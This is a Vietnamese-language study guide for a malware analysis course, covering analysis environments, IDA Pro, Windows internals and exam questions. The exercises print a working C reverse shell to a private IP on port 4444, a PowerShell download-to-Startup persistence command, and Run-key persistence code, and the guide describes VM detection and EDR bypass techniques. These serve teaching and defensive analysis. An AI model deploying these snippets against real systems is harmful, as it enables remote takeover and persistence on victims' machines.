Skip to content

Tài liệu ôn tập: Phân tích Mã độc (Malware Analysis)¤


CHƯƠNG 1: Giới thiệu về Phân tích Mã độc¤

1.1 Mục tiêu của Phân tích Mã độc¤

Phân tích mã độc nhằm cung cấp thông tin cần thiết để ứng phó với các cuộc tấn công mạng. Các mục tiêu cụ thể:

  • Xác định chính xác điều gì đã xảy ra trong hệ thống
  • Tìm ra tất cả các máy và file bị nhiễm
  • Phát triển chữ ký (signatures) để phát hiện mã độc trên mạng

Hai loại chữ ký chính:

  • Host-based signatures: Phát hiện mã độc dựa trên những thay đổi trên máy nạn nhân (file tạo ra, thay đổi registry). Hiệu quả hơn vì tập trung vào hành vi của mã độc, không phải đặc điểm của nó — giúp phát hiện cả mã độc đã bị xóa hoặc đã biến đổi hình dạng.
  • Network signatures: Phát hiện mã độc qua giám sát lưu lượng mạng. Kết hợp với phân tích mã độc sẽ cho kết quả chính xác hơn, ít false positive hơn.

1.2 Tại sao cần Phân tích Mã độc?¤

  • Antivirus không đáng tin cậy hoàn toàn
  • 50–97% các vụ breach liên quan đến mã độc
  • "70–90% mẫu mã độc là duy nhất với từng tổ chức" — Verizon DBPR 2015

Ba mức độ xử lý sự cố: 1. Cơ bản: Reimage lại máy 2. Nâng cao: Incident Response — phân tích log, network traffic, tiến trình lạ 3. Trưởng thành: Thu thập Threat Intelligence — đánh giá tác động, rủi ro, xác định loại mối đe dọa (APT, tài chính, hacktivism...)


1.3 Các loại Mã độc¤

Phân loại chung:¤

Loại Mô tả
Virus Tự sao chép, lây lan vào file khác
Worm Tự sao chép, lây lan qua mạng không cần file host
Trojan Giả dạng phần mềm hợp lệ
Bot / Botnet Nhận lệnh từ C&C server
Rootkit Ẩn sự tồn tại của mã độc khác, thường đi kèm backdoor
RAT Remote Access Trojan — kiểm soát máy từ xa
Backdoor Cho phép attacker điều khiển hệ thống
Downloader Chỉ tải về mã độc khác, dùng khi mới xâm nhập
Launcher Khởi chạy mã độc khác, thường dùng kỹ thuật stealth
Scareware Dọa người dùng mua sản phẩm giả
Spyware / Keylogger Đánh cắp thông tin
Adware Hiển thị quảng cáo
Credential Stealer Đánh cắp mật khẩu, hash

Payload:¤

  • Shellcode: Tập lệnh được inject và thực thi trong tiến trình bị khai thác
  • Staged payload: Dùng nhiều payload kết hợp
  • Stageless payload: Chứa toàn bộ thứ cần thiết cho reverse shell

Công cụ hỗ trợ tấn công:¤

  • Packer / Crypter: Nén/mã hóa mã độc để tránh phát hiện
  • Exploit Kit: Bộ công cụ khai thác lỗ hổng
  • Builder: Tạo ra các biến thể mã độc

1.4 Phân loại theo quy mô:¤

  • Mass malware: Lây nhiễm càng nhiều máy càng tốt
  • Targeted malware (APT): Nhắm vào mục tiêu cụ thể, khó phát hiện và gỡ bỏ hơn rất nhiều

1.5 Các phương pháp Phân tích¤

Phương pháp Ưu điểm Nhược điểm
Static Analysis Không cần chạy, an toàn, phân tích sâu Chậm, cần kiến thức kỹ thuật cao, obfuscation/packing cản trở
Dynamic Analysis Nhanh, thấy hành vi thực tế Dễ bỏ sót, cần môi trường an toàn
Hybrid Kết hợp cả hai, hiệu quả nhất Phức tạp hơn

Trong thực tế: tìm thấy gì đó trong disassembly → xác nhận bằng cách chạy thực tế → kết hợp Memory Forensics nếu cần.


1.6 Nguyên tắc chung khi Phân tích¤

  1. Đừng sa lầy vào chi tiết — Tập trung vào tính năng chính, bỏ qua phần quá phức tạp ban đầu
  2. Linh hoạt dùng nhiều công cụ — Không có một công cụ nào phù hợp cho mọi tình huống
  3. Luôn cập nhật — Mã độc và kỹ thuật phân tích liên tục thay đổi theo kiểu "mèo đuổi chuột"

1.7 Công cụ cơ bản¤

  • PE Viewer: CFF Explorer, PE Studio, PEview
  • Disassembler / Debugger: IDA Pro, x64dbg, Ghidra, WinDbg
  • Triage nhanh: VirusTotal, strings, hex editor (010 Editor)
  • SysInternals Suite: Process Monitor, Process Explorer, Autoruns
  • Khác: Wireshark, INetSim, Regshot

1.8 Nguồn lấy mẫu mã độc¤


CHƯƠNG 2: Phân tích Mã độc trong Máy ảo¤

2.1 Mindset trước khi bắt đầu¤

  • Tự bảo vệ mình — luôn dùng môi trường cô lập
  • Ghi chú mọi thứ trong quá trình phân tích
  • Phân tích động = chạy mã độc có chủ đích trong môi trường kiểm soát

2.2 Môi trường phân tích: Máy thật vs Máy ảo¤

Máy thật (air-gapped): - ✅ Mã độc không phát hiện được VM → chạy đúng hành vi - ❌ Không có Internet → một số tính năng không hoạt động - ❌ Khó dọn dẹp, phải reimage

Máy ảo (VMware, VirtualBox...): - ✅ Phổ biến nhất, dễ snapshot/restore - ✅ Bảo vệ máy host - ❌ Mã độc có thể phát hiện VM và thay đổi hành vi


2.3 Cấu hình mạng trong VMware¤

Chế độ Mô tả
Isolated Tắt hoàn toàn network
Host-only Chỉ kết nối với máy host, không ra Internet
NAT Ra được Internet qua virtual router
Bridged Kết nối trực tiếp vào LAN — nguy hiểm nhất

Khuyến nghị: Dùng Host-only hoặc NAT + giả lập network bằng INetSim


2.4 Cách Mã độc phát hiện Máy ảo¤

Mã độc dùng nhiều kỹ thuật để phát hiện VMware:

1. Kiểm tra Registry:

Text Only
HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968...}\0000\DriverDesc
→ "VMware SCSI Controller"

HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968...}\0000\ProviderName
→ "VMware, Inc."

2. Kiểm tra tiến trình và file: - VMwareService.exe, VMwareTray.exe đang chạy - Các file công cụ VMware được cài sẵn

3. Kiểm tra MAC address: - 00-05-69, 00-0C-29, 00-1C-14, 00-50-56 → là VMware

4. Kiểm tra BIOS: - Serial number có chứa chuỗi "VMware"


2.5 Sandbox¤

Ưu điểm: Tự động, nhanh, xuất báo cáo PDF, mô phỏng network services.

Nhược điểm nghiêm trọng: - Không chạy được nếu mã độc cần tham số dòng lệnh - Không kích hoạt được backdoor nếu cần packet C&C - Có thể bỏ sót hành vi xảy ra sau thời gian sleep dài - Mã độc có thể phát hiện sandbox và không chạy - Không xử lý tốt DLL (cần gọi đúng exported function) - Không nói cho bạn biết mã độc làm gì — đó là việc của analyst


2.6 LOLBAS — Living Off The Land¤

Mã độc lợi dụng các binary có sẵn của Windows (đã được Microsoft ký) để thực hiện hành vi độc hại:

Tiêu chí LOLBAS: - File được Microsoft ký, native trong Windows - Có chức năng "ngoài mong đợi" - Hữu ích cho APT/Red team

Ví dụ binary thường bị lạm dụng: certutil.exe, rundll32.exe, msbuild.exe, bitsadmin.exe, wmic.exe

Chức năng bị lạm dụng: thực thi code, tải file, persistence qua ADS, UAC bypass, DLL sideloading


2.7 Chạy DLL¤

DLL không thể chạy trực tiếp → dùng rundll32.exe:

Text Only
rundll32.exe rip.dll,Install
rundll32.exe xyzzy.dll,#5      ← dùng ordinal number

2.8 Công cụ Dynamic Analysis¤

Process Monitor (Procmon)¤

Giám sát: Registry, File system, Network, Process, Thread

Loại giám sát Mục đích
Registry Xem malware tự cài vào registry thế nào
File system Xem file nào được tạo/sửa
Process Xem tiến trình con được spawn không
Network Xem port nào đang listen

Mẹo: Filter theo tên executable của mã độc trước khi chạy. Có thể filter theo syscall cụ thể: RegSetValue, CreateFile, WriteFile...


Process Explorer¤

  • Hiển thị cây tiến trình với màu sắc: xanh lá = tiến trình mới, đỏ = vừa kết thúc, hồng = service, xanh dương = tiến trình thường
  • DLL Mode: xem DLL nào đang được load vào tiến trình
  • Properties → Verify: kiểm tra chữ ký Windows của file trên disk (không phải trong RAM → không phát hiện process replacement)
  • Phát hiện document độc hại: mở file → xem Process Explorer có xuất hiện tiến trình con không

Regshot¤

  • So sánh 2 snapshot registry trước và sau khi chạy mã độc
  • Workflow: 1st Shot → chạy malware → 2nd Shot → Compare

Giả lập mạng với INetSim¤

  • Giả lập các dịch vụ mạng (HTTP, FTP, DNS...) để mã độc "nghĩ" nó đang kết nối Internet
  • Kết hợp với Wireshark để capture traffic

2.9 Case Study: SolarWinds (SUNBURST)¤

  • Tấn công supply chain phát hiện bởi FireEye, gán cho APT29
  • Trojan SUNBURST được nhúng vào SolarWinds.Orion.Core.BusinessLayer.dll
  • Sleep 2 tuần trước khi liên lạc C2 → qua khỏi sandbox
  • Sau đó triển khai: TEARDROP → BEACON (Cobalt Strike) → Lateral Movement

2.10 Case Study: PRC Nexus Espionage¤

  • Chiến dịch gián điệp nhắm vào diplomat
  • Kỹ thuật: hijack web traffic, deception in depth

2.11 Case Study: Mã độc đánh cắp tài khoản MXH¤

Chuỗi tấn công: 1. Mở Chrome đến aliexpress.us (đánh lạc hướng) 2. PowerShell tải WindowsSecure.bat → lưu vào Startup folder (persistence) 3. Tải Document.zip từ GitLab → giải nén 4. Tải project.py từ GitHub Gist → chạy bằng Python đi kèm


CHƯƠNG 3: Static Analysis với IDA Pro¤

3.1 Các công cụ Reverse Engineering phổ biến¤

Công cụ Loại Nổi bật
IDA Pro Disassembler + Debugger Mạnh nhất, hỗ trợ nhiều nền tảng nhất, SDK Python
x64dbg Debugger Open source, tốt cho x64, kế thừa từ OllyDbg
OllyDbg Debugger Freeware, phổ biến cho x86, nhiều plugin
Radare2 Disassembler Open source, cross-platform, cạnh tranh IDA
Ghidra Disassembler Miễn phí, của NSA, ngày càng phổ biến

3.2 IDA Pro — Các chế độ xem¤

  • Graph Mode (mặc định): Hiển thị control flow dạng đồ thị
  • Text Mode: Hiển thị dạng text truyền thống (Space để chuyển đổi)

Màu sắc mũi tên trong Graph Mode: - 🔴 Đỏ: Conditional jump không được thực hiện - 🟢 Xanh: Conditional jump được thực hiện - 🔵 Xanh dương: Unconditional jump - ⬆️ Lên: Loop

Navigation Band màu sắc: - Xanh nhạt: Library code - Đỏ: Compiler-generated code - Xanh đậm: User-written code → phân tích cái này


3.3 Các cửa sổ quan trọng trong IDA Pro¤

Cửa sổ Công dụng
Functions Liệt kê tất cả function, L = Library function
Names Tất cả địa chỉ có tên (function, string, data)
Strings Các chuỗi tìm thấy trong binary
Imports API được gọi từ DLL bên ngoài
Exports Function được export (chủ yếu trong DLL)
Structures Data structure đang active
Cross-references (Xref) Nơi function/data được tham chiếu

3.4 Điều hướng trong IDA Pro¤

  • Double-click tên/địa chỉ → nhảy đến vị trí đó
  • G → nhảy đến địa chỉ/tên cụ thể
  • X hoặc Ctrl+X → xem tất cả cross-reference
  • Forward/Back: như trình duyệt web
  • Search → Text: tìm kiếm văn bản

3.5 Tùy chỉnh Disassembly¤

  • Đổi tên: Click tên sub_401000 → N → đặt tên có nghĩa (VD: ReverseBackdoorThread), IDA tự đổi ở tất cả nơi tham chiếu
  • Comment:
  • : → comment tại chỗ
  • ; → comment hiện ở tất cả Xref
  • Định dạng operand: Right-click → chọn hex/decimal/binary/char
  • Named constants: Làm rõ các tham số Windows API

3.6 Graphing Options (Legacy Graphs)¤

  • Flow chart: Control flow của function hiện tại
  • Function calls: Đồ thị lời gọi hàm toàn chương trình
  • Xrefs to: Các đường đến function (ai gọi function này)
  • Xrefs from: Các đường từ function (function này gọi ai)

3.7 Địa điểm luyện tập¤


CHƯƠNG 4: Phân tích Mã độc Windows¤

4.1 Windows API¤

Windows API là tập hợp hàm rộng lớn, mã độc dùng để tương tác với OS. Hiểu Windows API là bắt buộc để phân tích mã độc.

Hungarian Notation — quy ước đặt tên tham số:

Kiểu Tiền tố Ý nghĩa
WORD w 16-bit unsigned
DWORD dw 32-bit unsigned
Handle H Tham chiếu đến object
Long Pointer LP Con trỏ đến kiểu khác

Handle: Như pointer nhưng không dùng được trong phép tính số học. Chỉ dùng để lưu và truyền vào hàm sau.


4.2 File System API¤

C
// Đọc/ghi thông thường
CreateFile, ReadFile, WriteFile

// Load file vào RAM — phổ biến trong malware
CreateFileMapping   // load file từ disk vào memory
MapViewOfFile       // lấy pointer đến vùng nhớ đó

Tại sao malware dùng File Mapping? - Dễ dàng parse PE header trong memory - Có thể thực thi file mà không qua Windows loader - Bypass một số cơ chế bảo vệ

Special Files:

Text Only
\\server\share              — Shared files
\\?\server\share            — Tắt string parsing, cho tên file dài hơn
\\.\PhysicalDisk1           — Truy cập trực tiếp vào disk, bypass filesystem
file.txt:otherfile.txt      — Alternate Data Stream (ADS)

ADS: Stream dữ liệu thứ hai gắn vào file, không hiển thị trong Explorer — thường dùng để ẩn payload.

Mark of the Web: Windows gắn metadata vào file tải từ Internet. Malware tìm cách bypass để tránh warning.


4.3 Windows Registry¤

Mục đích: Lưu cấu hình OS và ứng dụng. Malware dùng để persistence và lưu cấu hình.

5 Root Key:

Key Viết tắt Mục đích
HKEY_LOCAL_MACHINE HKLM Cài đặt toàn hệ thống
HKEY_CURRENT_USER HKCU Cài đặt user hiện tại
HKEY_CLASSES_ROOT Định nghĩa kiểu file
HKEY_CURRENT_CONFIG Cấu hình phần cứng hiện tại
HKEY_USERS Cài đặt cho các user

Run Key — persistence phổ biến nhất:

Text Only
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Executable trong đây tự chạy khi user đăng nhập.

Registry API:

C
RegOpenKeyEx    // Mở key để đọc/ghi
RegSetValueEx   // Thêm/sửa giá trị
RegGetValue     // Đọc giá trị

Lưu ý: Hàm thực tế có suffix W (Wide/Unicode) hoặc A (ASCII): RegOpenKeyExW

Autoruns (SysInternals): Kiểm tra ~25-30 vị trí registry tự động chạy khi khởi động.


4.4 Networking API¤

Berkeley Sockets (ws2_32.dll):

C
// Server side
socket()  bind()  listen()  accept()  send()/recv()

// Client side
socket()  connect()  send()/recv()

WinINet API (wininet.dll) — cấp cao hơn:

C
InternetOpen        // Kết nối Internet
InternetOpenURL     // Kết nối URL
InternetReadFile    // Đọc dữ liệu tải về
Implement sẵn HTTP, FTP — malware dùng để liên lạc C2 dễ hơn.


  • Cùng định dạng PE như EXE, chỉ khác một flag
  • DLL có nhiều exports, ít imports hơn EXE
  • Entry point: DllMain (không exported, khai báo trong PE header)
  • DllMain được gọi khi DLL được load/unload

Malware dùng DLL để: - Ẩn code độc hại trong DLL → inject vào tiến trình hợp lệ - Dùng DLL của Firefox để kết nối mạng thay vì Windows API (tránh detection)


4.6 Processes & Threads¤

Process: - Mỗi process có vùng nhớ riêng (virtual address space) - Hai process truy cập cùng địa chỉ ảo → thực tế ở RAM khác nhau

Tạo process mới (thường dùng tạo reverse shell):

C
CreateProcess(
    NULL,                    // Application name
    "cmd.exe",               // Command line
    NULL, NULL,
    TRUE,                    // Inherit handles (quan trọng cho shell)
    0,
    NULL, NULL,
    &startupInfo,            // stdin/stdout/stderr → có thể là socket
    &processInfo
);

Thread: - Process là container, thread là thứ CPU thực sự chạy - Các thread trong cùng process chia sẻ vùng nhớ - Mỗi thread có stack và register riêng - Khi context switch: OS lưu toàn bộ CPU state vào thread context

C
CreateThread(NULL, 0, ThreadFunction, param, 0, &threadId);

4.7 Mutex¤

Global object điều phối nhiều tiến trình/thread. Kernel gọi là mutant.

C
// Đảm bảo chỉ chạy một instance malware
HANDLE h = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "HGL345");
if (h == NULL) {
    // Chưa có → tạo mới và tiếp tục
    CreateMutex(NULL, TRUE, "HGL345");
} else {
    // Đã có instance → thoát
    ExitProcess(0);
}

Tên mutex hard-coded là một IoC tốt để nhận diện malware.


4.8 Services¤

  • Chạy nền, không cần user input
  • Thường chạy với quyền SYSTEM (cao hơn Administrator)
  • Tự động khởi động cùng Windows → persistence

Service API:

C
OpenSCManager     // Lấy handle đến Service Control Manager
CreateService     // Đăng ký service mới (có thể set auto-start)
StartService      // Khởi động service thủ công

Loại service malware hay dùng: - WIN32_SHARE_PROCESS: Lưu code trong DLL, chạy chung trong svchost.exe - WIN32_OWN_PROCESS: Chạy riêng trong process của nó - KERNEL_DRIVER: Load code vào Kernel

Registry location:

Text Only
HKLM\System\CurrentControlSet\Services\
  Start = 0x03  (Load on Demand)
  Type  = 0x20  (WIN32_SHARE_PROCESS)


4.9 Kernel Mode vs User Mode¤

User Mode (Ring 3) Kernel Mode (Ring 0)
Quyền truy cập Hạn chế Toàn quyền
Truy cập phần cứng Qua Windows API Trực tiếp
Nếu crash Windows terminate process Blue Screen of Death
Ai chạy Hầu hết ứng dụng OS, driver, AV, firewall
Chuyển sang kernel Qua SYSENTER / SYSCALL / INT 0x2E

Malware trong Kernel Mode: - Quyền lực hơn, audit không áp dụng - Hầu hết rootkit dùng kernel code - Nhưng đa số malware vẫn ở User Mode


4.10 Native API¤

  • Interface cấp thấp hơn Windows API thông thường
  • Nằm trong ntdll.dll — cầu nối giữa user space và kernel
  • Không có tài liệu chính thức (undocumented)
  • Malware dùng vì mạnh hơn và khó bị phát hiện hơn

Các hàm Native API phổ biến trong malware:

Text Only
NtQuerySystemInformation     // Thông tin system chi tiết
NtQueryInformationProcess    // Thông tin process
NtQueryInformationThread     // Thông tin thread
NtQueryInformationFile       // Thông tin file
NtQueryInformationKey        // Thông tin registry key
NtContinue                   // Return từ exception → chuyển execution phức tạp, gây khó debug

Direct vs Indirect SYSCALL: - Direct syscall: Malware tự gọi thẳng SYSCALL instruction, bypass ntdll hooks của AV/EDR - Indirect syscall: Nhảy vào giữa ntdll để lấy syscall number nhưng không bị hook

API Hashing: - Thay vì import theo tên → tính hash của tên API → dùng hash để tìm hàm lúc runtime - Tránh để lộ API name trong import table


BRAINSTORM CÂU HỎI ÔN TẬP¤

📘 Lý thuyết — Khái niệm¤

  1. Phân biệt host-based signature và network-based signature. Tại sao host-based signature hiệu quả hơn với polymorphic malware?
  2. Tại sao 70–90% mẫu mã độc là duy nhất với từng tổ chức? Điều này ảnh hưởng gì đến chiến lược phòng thủ?
  3. So sánh Static Analysis và Dynamic Analysis. Khi nào dùng phương pháp nào?
  4. Giải thích tại sao sandbox có giới hạn trong phân tích mã độc. Cho ví dụ cụ thể một kỹ thuật mà sandbox không phát hiện được.
  5. Rootkit khác backdoor như thế nào? Tại sao chúng thường đi cùng nhau?
  6. Phân biệt staged payload và stageless payload. Loại nào phổ biến hơn trong APT và tại sao?
  7. Tại sao malware thường dùng LOLBAS thay vì mang công cụ riêng?
  8. Giải thích khái niệm "mèo đuổi chuột" (cat-and-mouse) trong malware analysis.

🖥️ Môi trường & Công cụ¤

  1. Liệt kê ít nhất 4 cách mã độc phát hiện môi trường VMware. Làm thế nào để bypass từng cách?
  2. Tại sao nên dùng NAT hoặc Host-only thay vì Bridged khi phân tích malware?
  3. Trong Process Monitor, bạn filter thế nào để chỉ xem hoạt động của một executable cụ thể?
  4. Vì sao nút "Verify" trong Process Explorer không phát hiện được process replacement (process hollowing)?
  5. Regshot so sánh gì? Nó có phát hiện được thay đổi trong memory không?
  6. INetSim giải quyết vấn đề gì mà ApateDNS không làm được?
  7. Tại sao không nên chạy Process Monitor quá lâu?

⚙️ Windows Internals¤

  1. Handle khác pointer ở điểm nào? Cho ví dụ một handle thường gặp.
  2. Tại sao malware thích dùng CreateFileMapping + MapViewOfFile hơn ReadFile?
  3. Alternate Data Stream là gì? Làm thế nào để tìm ADS trên một file?
  4. Giải thích Run Key persistence. Sự khác nhau giữa HKLM và HKCU Run Key?
  5. Tại sao tên Mutex hard-coded là một IoC tốt?
  6. Giải thích tại sao malware dùng WIN32_SHARE_PROCESS service ẩn trong svchost.exe.
  7. Phân biệt process và thread. Thread context là gì?
  8. Tại sao quyền SYSTEM nguy hiểm hơn Administrator?
  9. Native API (ntdll.dll) khác Windows API thông thường ở điểm nào? Tại sao malware thích dùng?
  10. Direct syscall giúp malware bypass được gì? Tại sao AV/EDR khó detect?

🔬 IDA Pro & Reverse Engineering¤

  1. Trong IDA Pro, Navigation Band màu xanh đậm có ý nghĩa gì? Bạn nên tập trung phân tích phần nào?
  2. Cross-reference (Xref) dùng để làm gì? Cách xem tất cả Xref của một function?
  3. Tại sao nên đổi tên sub_401000 thành tên có nghĩa ngay khi hiểu chức năng của nó?
  4. Mũi tên màu đỏ và xanh trong Graph Mode có ý nghĩa gì trong phân tích control flow?
  5. Function có kích thước lớn thường có ý nghĩa gì trong phân tích?

💻 Câu hỏi có Code (C/C++/ASM)¤

31. Đọc đoạn code sau và xác định mục đích:

C
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "GlobalMalware123");
if (hMutex != NULL) {
    ExitProcess(0);
}
CreateMutex(NULL, FALSE, "GlobalMalware123");
→ Malware đang làm gì? Tên mutex có ý nghĩa gì trong forensics?


32. Phân tích đoạn code tạo reverse shell:

C
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(4444);
sa.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(s, (struct sockaddr*)&sa, sizeof(sa));

STARTUPINFO si = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;

PROCESS_INFORMATION pi;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
→ Mô tả từng bước. Tại sao stdin/stdout/stderr được set thành socket handle?


33. Registry persistence:

C
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, KEY_WRITE, &hKey);

RegSetValueEx(hKey, "WindowsUpdate", 0, REG_SZ,
    (BYTE*)"C:\\Users\\Public\\malware.exe",
    strlen("C:\\Users\\Public\\malware.exe") + 1);

RegCloseKey(hKey);
→ Key này nằm ở đâu? Persistence hoạt động như thế nào? HKCU vs HKLM có gì khác?


34. Đọc assembly sau từ IDA Pro:

GAS
push    offset aMutexName   ; "HGL345"
push    0
push    1F0001h
call    OpenMutex
test    eax, eax
jnz     short loc_401050    ; Đã có instance
push    offset aMutexName
push    0
push    0
call    CreateMutex
loc_401050:
; tiếp tục...
→ Giải thích logic. test eax, eax + jnz hoạt động thế nào?


35. File Mapping để thực thi PE:

C
HANDLE hFile = CreateFile("payload.dll", GENERIC_READ, 0,
                           NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap  = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

// Parse PE header tại pBase
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNT  = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDOS->e_lfanew);
→ Tại sao cách này được malware ưa dùng? Nó bypass được gì?


36. Nhận diện loại mã độc từ import table:

Nếu IDA Pro / PE Studio hiển thị các import sau, hãy đoán loại mã độc:

Text Only
keybd_event / GetAsyncKeyState / SetWindowsHookEx → ?
InternetOpen / InternetOpenURL / InternetReadFile  → ?
RegSetValueEx / CreateService / CreateFileMapping  → ?
CryptEncrypt / CryptGenKey / FindFirstFile         → ?


37. API Hashing — tại sao đoạn code này khó phân tích?

C
DWORD hashAPI(const char* name) {
    DWORD hash = 0x1505;
    while (*name) {
        hash = ((hash << 5) + hash) + *name++;
    }
    return hash;
}

// Thay vì: LoadLibrary("kernel32.dll")
// Malware dùng:
FARPROC fn = resolveByHash(0xEC0E4E8E); // hash của "LoadLibraryA"
→ Kỹ thuật này bypass được gì? Làm thế nào để phân tích ngược?


38. Phân tích chuỗi PowerShell trong case study:

PowerShell
powershell.exe -windowstyle hidden Invoke-WebRequest `
  -URI https://raw.githubusercontent.com/.../start `
  -OutFile "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat"
-windowstyle hidden làm gì? Tại sao lưu vào thư mục Startup? Đây là kỹ thuật persistence gì?


39. SolarWinds SUNBURST sleep 2 tuần trước khi hoạt động. Điều này bypass được cơ chế bảo vệ nào? Sandbox xử lý Sleep() thế nào và tại sao vẫn không đủ?

40. Cho một DLL có exports: Install, Uninstall, ServiceMain. Bạn sẽ chạy thử như thế nào? Tại sao chọn Install trước?


💡 Gợi ý ôn tập: Các câu 31–38 có code — nên vừa đọc vừa chạy thử trong VM hoặc mở trong IDA/x64dbg để quan sát behavior. Câu 36 đặc biệt hữu ích để nhận dạng nhanh loại mã độc qua import table trong kỳ thi thực hành.